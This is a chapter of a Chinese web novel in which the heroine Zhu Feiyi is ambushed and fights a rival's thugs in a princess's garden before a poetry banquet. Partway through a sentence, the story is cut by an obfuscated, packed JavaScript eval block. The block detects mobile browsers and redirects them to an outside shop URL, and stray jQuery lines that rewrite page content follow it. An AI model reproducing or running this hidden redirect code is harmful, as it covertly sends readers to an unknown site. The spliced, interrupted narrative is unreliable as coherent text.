16. 盛京

作品:《鬓垂千秋

    “诗宴终于开始了,也不知这次诗魁之名花落谁家。”


    “除了凌萱阁诸家,无作他想。”


    “哎,此言差矣,咱们文弦阁不还有个崔家吗?”


    “……”


    此话一出,众人皆噤言,纷纷瞥了一眼不远处面若冰霜的崔渡。


    少年人似乎没有听见他们的议论,孤身端坐于书案前,执笔抄书,眉目清俊,形容有仪。


    见怪不怪,诸位知道崔渡一直是冷脸的样子,该是没有听见他们的话,齐齐松了口气。


    有人拉过那说话的傻子,低声道:“你也是没脑子的,不知道崔家刚被贬出三公之列?不然以崔渡从前的身份,我等又岂能在文弦阁见到他?”


    镛朝读书人皆知朝有三阁,名以凌萱、文弦、斗阳,其中以凌萱阁为首,非高官世家之子不可进,文弦次之,非地方王侯举荐不可入,斗阳又次,历三考而有孝名者再经审查后可进。而百年来,从凌萱阁出入者,无一不平步青云,高可至一人之下。


    本来以盛京崔家之势力,作为长公子的崔渡定能入凌萱阁,可天不遂人愿,一年前崔家不知为何冒犯圣颜,历经纬司和大神官审讯搜查,似乎查出了什么不得了的东西,帝大怒,不顾百官求情,执意将崔大人降为三阶,贬于京外漆郡为事,而此时崔渡正好到了入阁年纪,撞上这桩事后凌萱阁是定然入不了了,只好退而求其次入了文弦阁。


    盛京读书人无人不知崔渡之美名,自小文采飞扬,可谓人如玉才亦斐,所以得知此事后,有不少人为其扼腕叹息。


    要知道崔渡的启蒙恩师正是凌萱的名儒大士钱廣,曾言崔渡若入阁,便是他钱廣的关门弟子,必倾尽所学教导弟子,可惜不等崔渡踏入凌萱,老人家便于前月驾鹤西去了。


    “可惜,真是可惜。”


    祝非衣凑在一旁听完这些八卦,心道崔渡这人原来不仅是小冰碴子,还是个倒霉催的小冰碴子,瞧瞧,姓崔的果然不简单。


    陆符鸿见祝非衣在一边摇头感概,问:“想什么呢,旁湖诗宴你可准备好了?”


    “准备?”祝非衣怪道,“准备什么?”


    陆符鸿:“…你不会是想凭三脚猫功夫当场七步成诗吧?”


    祝非衣听明白了,原来大家参加旁湖诗宴前都会先自备几首小诗,也好做个适应。


    她无所谓道:“此等大放光彩的机会还是留给别人吧,我在一边喝喝茶看着就行。”


    开什么玩笑,祝非衣腹诽,所谓木秀于林,风必摧之,她要是出人头地了,这身份还要不要了。一不小心被赐个欺上之罪,怕还没等裴家人过来,小命就得呜呼哀哉了。


    使不得使不得。


    陆符鸿看到祝非衣不上进的模样,气得差点吐血。


    “要是寻常之事也就罢了,这可是旁湖诗宴!在镇平公主府里的宴席!你可不要忘了与镇平公主相遇那日,贵人说了什么。”


    说了什么?


    祝非衣眯着眼睛回想,犹豫着问:“诗宴上各位英才齐聚,难道公主还会记得我俩这等小人物?”


    陆符鸿叹气,道:“保不准呢?!”


    祝非衣紧张一瞬后,又躺平了,说:“那我只能祈祷贵人多忘事这话是真的了。”


    陆符鸿:……


    死猪不怕开水烫,他是救不了这猪了。


    但在诗宴开始前一天,祝非衣还是被陆符鸿磨着写了两首诗。


    陆符鸿看完大作,摇摇头:“罢了罢了,你这水平约莫准备与否都是四个字。”


    “哪四个字?”祝非衣满怀信心地问,“惊为天人?”


    “…差不多吧,”陆符鸿看着祝非衣,“确切一点是,丢人现眼。”


    “……”


    行。


    祝非衣快哉地出了藏书阁,迎面撞上一个熟人。


    罗茂易见到祝非衣的霎那,下意识停住脚步,缩了一下肩膀,但立即想起身后几个跟屁虫,顿时有了底气,仰着脖子看向祝非衣,恶狠狠道:“给本公子让路!”


    祝非衣白了这人一眼,前院那么宽的地方不够你走的是吧。


    她懒得争口舌,侧身让开。


    罗茂易一愣,他真没想到祝非衣这么听话,竟然真的让路了。


    见人要走,罗茂易连忙拦住,几个小弟也看了他的眼色把祝非衣团团围住。


    这里面祝非衣身量最高,被几个矮个子围住时,她眉头微蹙,自己都让路了还想干嘛,真要在阁内斗殴?


    两手难挡八爪啊,现在把藏书阁里的陆符鸿拉过来一起还来得及吗?


    岂料罗茂易蔑笑一声,道:“祝非衣,别以为攀上崔家就没事了,旁湖诗宴那日你可给我等着!”


    说罢,瞪了一眼祝非衣,才带人走了。


    祝非衣一头雾水,她什么时候攀上崔家了?还是说,是崔渡?


    “不能吧,崔渡这么讨厌我,怎么可能帮我?”


    祝非衣欲回去找崔渡问个明白,但连把文弦阁翻了个遍都没找到人。


    正想要回去时,在廊道遇上抱琴而来的白衫男子。


    祝非衣作揖行礼,道:“壶先生。”


    “祝非衣?”


    壶先生借月色看清了来人的脸,问:“这么晚了怎么还不回去歇息?”


    祝非衣面不改色道:“弟子看崔渡还未归,有些担心,所以出来找他。”


    “哦,”壶先生点头,道:“难为你了,午时崔府派人来接崔渡回去了,你放宽心,快回去歇息,准备明日的诗宴吧。”


    祝非衣知晓,看着壶沥走后,她舒了口气,这借口真及时。谁能想方才抱琴而归,模样儒雅的读书人可是罚她抄写了不少东西,自己要是能在读书上有什么长进,壶沥绝对功不可没。


    既然崔渡不在阁内,那就算了,且看明日罗茂易能在公主府搞什么鬼。


    祝非衣不嫌事大地睡了一觉。


    等次日清晨,大家都是三两结对前去公主府。


    祝非衣本来是与陆符鸿一同,但陆符鸿却道他要先回舅舅那边,带上表弟一起,让祝非衣先去公主府等着。


    祝非衣没人说话,有点不高兴,道:“你的表弟不能自己过来吗?”


    陆符鸿叹气,说:“他自幼不良于行,性子闷,故而甚少出门,我受舅舅照拂,不能不管这孩子。”


    说罢,未听见祝非衣回话,陆符鸿转头去看,却见身旁人神色静默。


    “怎么了?”


    祝非衣回神,忙道:“无事,无事,你,”声音艰涩了一瞬,“你带好表弟便过来吧。”


    陆符鸿走后,祝非衣陡然卸了力气,颓气地靠着墙,低垂着脑袋,目光幽冥地看向自己的腿脚。


    毋庸置疑,祝非衣有一副极其健康的躯体。


    自过儿时,祝非衣便极少生病,在精细的抚养下她开始健壮扎实地成长,除却功课,骑马射箭冰嬉竞渡等,无一不能。她太恣意地挥洒矫健的体力,以至于不曾想过世上会有人连走路都痛苦。


    直到,直到……


    所以乍听见又一人不良于行,祝非衣就控制不住地想起千百里外的小裴大人。祝非衣无法心疼旁人,却在见到和听到人的相似遭遇和病痛时,叠加地为大人感同身受,甚至更甚,更深。


    “祝兄,一起走啊!”


    门外同砚的呼喊让祝非衣回神,酸涩的眼睛在看见窗外明亮的日光时不由流出泪水,她偏过头下意识一抹,满手心的凉。


    片刻后,祝非衣梳理好情绪,目光清明地出门而去。


    路上,少年们都兴奋不已,带着祝非衣心情也高昂起来,她喜欢这种熙攘到热烈的氛围。


    “祝兄,你备了几首诗?”


    祝非衣将袖中诗轴扔到对方的怀里,毫不在意:“粗备了两首。”


    众人顿时挤过去,看完后一默,接着又嘻嘻哈哈,道:“祝兄此诗真别有一番风味。”


    祝非衣笑骂:“真难为诸位夸我了!”


    “只是两首也太少了,看来祝兄志不在此啊。”


    “嗯?可别胡说,”祝非衣正色道,“旁湖诗宴我心向往已久,耗尽心血才苦作两诗,诸君勿要再折煞我矣!”


    大家又笑作一团,簇着祝非衣要她再作两首心血诗。


    好容易给了帖子进了公主府,午时之前阁内弟子可自由行动。祝非衣真怕了这群作诗狂魔,连忙闪身离开。


    冬月盛京最寒,公主府长廊外腊梅迎风而开,丹红明黄成片,幽香满身。


    穿长廊,过水桥,经假山,入后园,方见旁湖现。


    湖若天地间的巨大圆盘,湖水皆已冻结成冰,平整的冰面反射出刺目光芒,如同冰箭般射入眼眸。寒风呼啸,透过湖边嶙峋山石林,吹得衣袍猎猎作响。


    山石上的诗都是经雕刻后,再染金墨而写,走于石林中,诗词歌赋成阵,望之尤感少年意气从中迸发。


    “挥剑斩妖九洲凌,从此人间满太平。”


    “肝当雪霰胆为风,纵马侠肠少年盟。”


    “歌尽酒杀,太阿风雷,一马当先白骨垒。”


    “少负拏云志,不愿擎低枝。”


    “韶光不尽,少侠遥游中。会挽弓,射枭雄,破苍穹,意气重。齐聚豪堂天地容。”


    ……


    但这些诗句底下竟不提名何人作此诗,所以祝非衣看了许久,也不知哪句是她的小裴大人当年写的。


    石林横错,渐行深处愈于风啸中闻寂静,只时不时有石子摩挲的声音,祝非衣回头看,空无一人。她动作顿住,身形一闪,过一道狭弯后消失不见。


    跟过来的几人在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138315|196033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弯道处见人消失了,炸了锅,为首的人叱问:“人呢?!”


    “不,不知道啊罗公子,这我们都是看着这小子走这条道的。”


    “是啊是啊!”


    罗茂易听见这些话一阵躁怒,他顶着风跟祝非衣进了诗石林,都快被冻成狗了,结果这一群不争气的打手竟然把人跟丢了!?


    罗茂易怒道:“那还不快去找!”


    此时祝非衣正被人拉进一假山洞里躲着,外面几个壮汉眼看就要搜到了自己这边,祝非衣侧眸瞥了身旁的人,他攥着自己衣袖的手在颤抖。


    她有些困惑,低声问:“木雀风,你为何过来?”


    “我过来时看见罗茂易了,他带着四五个人,我,”木雀风顿住,“我担心是来找你的。”


    祝非衣盯着外面,叹了口气:“那便来找我好了,你不必过来,来了也是挨打啊。”


    她一个人赤手空拳,还是在这种山石嶙峋的地方对四五个武夫,哪里有功夫照顾木雀风,这家伙一看就是两巴掌可以被解决的人。


    木雀风陡然读懂了祝非衣为何叹气,他神情一怯,道:“你不用管我,我不怕疼。”


    这什么话?


    祝非衣无语,哪有人不怕疼的,又不是罗茂易那死人。


    眼看着人快搜过来了,祝非衣一把将木雀风塞到里面凹进去的地方蹲下,说:“行了,我带着你也是累赘,你等我走后就立马去找先生过来,这才是真正帮我,知道吗?”


    木雀风愣愣点头。


    祝非衣不再犹豫,立刻走出去,招手,笑道:“诸位是在找我吗?”


    不等那伙人反应过来,祝非衣立即按原路跑了。开什么玩笑,她可不会直冲上去挨揍。


    “人跑了,快追!”


    几人绕着山跑了许久,打手都快被绕晕了,祝非衣清楚记得她走过的每一步路,知道前面该有个岔路,跑快点说不定可以分散一部分人。


    她随选了一条路跑进去,谁知人算不如天算,半路突然杀出来个罗茂易。


    此人插着腰如同一座小矮山般堵在小道上,祝非衣不得不停步。


    人在屋檐下岂能不低头,祝非衣嘿嘿一笑,作揖行礼:“罗公子。”


    风吹起祝非衣额前碎发,露出光洁明媚的面容,深邃的眼眸带笑看来时,如见春光。


    罗茂易被这人笑得将原本备好的威胁言辞抛置脑后,一时间只能连说好几个“你你你”保持气势,直到后面的两个打手追上来,他才回神,得意道:“祝非衣你也算落到我手上了,今儿你不少层皮本公子就不姓罗!”


    祝非衣好声好气安慰道:“哎,此言差矣,就算我不少层皮,罗公子也可以不姓罗嘛。”


    罗茂易:……


    她是不是在挑衅我?


    他气急败坏地命令打手:“你们还愣着干什么?上啊!”


    祝非衣:哎不是?安慰没到位吗?


    她身形一侧,躲过打手挥来一记猛拳,旋即顶胯抬腿狠踢在此人下身,耳边瞬间炸开一声惨叫。


    奈何道路不宽,祝非衣送出一脚后转侧不便,视线受限,被另一人袭来的冷拳擦过下颌,然后撞在了身后的石头上,额角锐痛,血顿时顺着鬓发流到下颌,滴落在领口上,开出几朵妖冶的红梅。


    两名打手看见这人流血了,不敢再下手,他们可不想在公主府杀人。


    祝非衣神色自若地擦了擦下颌的血,目光幽幽,甚至还有闲心想幸好崔渡不在,不然岂不是要被她吓晕过去。


    见状,罗茂易心中大快,道:“祝非衣我也不是不讲理的人,你要是现在向我磕头求饶,本公子可以考虑留你一张好脸。”


    “怎么求饶啊,”祝非衣含笑道,“就像桃花山罗公子向我求饶那样吗?”


    那日的屈辱让罗茂易不堪回首,他不仅被祝非衣威胁,还被崔渡教训,连自己的父母都不敢违逆崔家,劝自己放下,他怎么可能咽下这口气,今日可是花了大价钱要狠狠教训祝非衣一顿。


    “祝非衣,本公子看你是敬酒不吃吃罚酒,你们还不给我上!留一口气在就行,出什么事本公子担着!”


    得了这话,两打手只好再扑上去,祝非衣暗中不动,瞧准时机,侧身抬肘撞在一人的脖颈上,顺势补上一记飞踢,然后趁着两人躲闪之时立即原路飞跑。


    看见人又跑了,罗茂易气不打一出来:“还不快追!”


    又跑到岔路口,祝非衣有些看不清路,忽而听到有一群人过路而来,祝非衣勉力从血污中睁眼看去,那群人似乎也听到这边的动静,纷纷看来。


    祝非衣与其中一人对视,她顿时目光一亮,连滚带爬地奔到那人腿边,双膝扑通跪地,抓住锦绣衣摆,仰头视之,在后面人的追喊中,声音气贯长虹——


    “兄长救我!!!”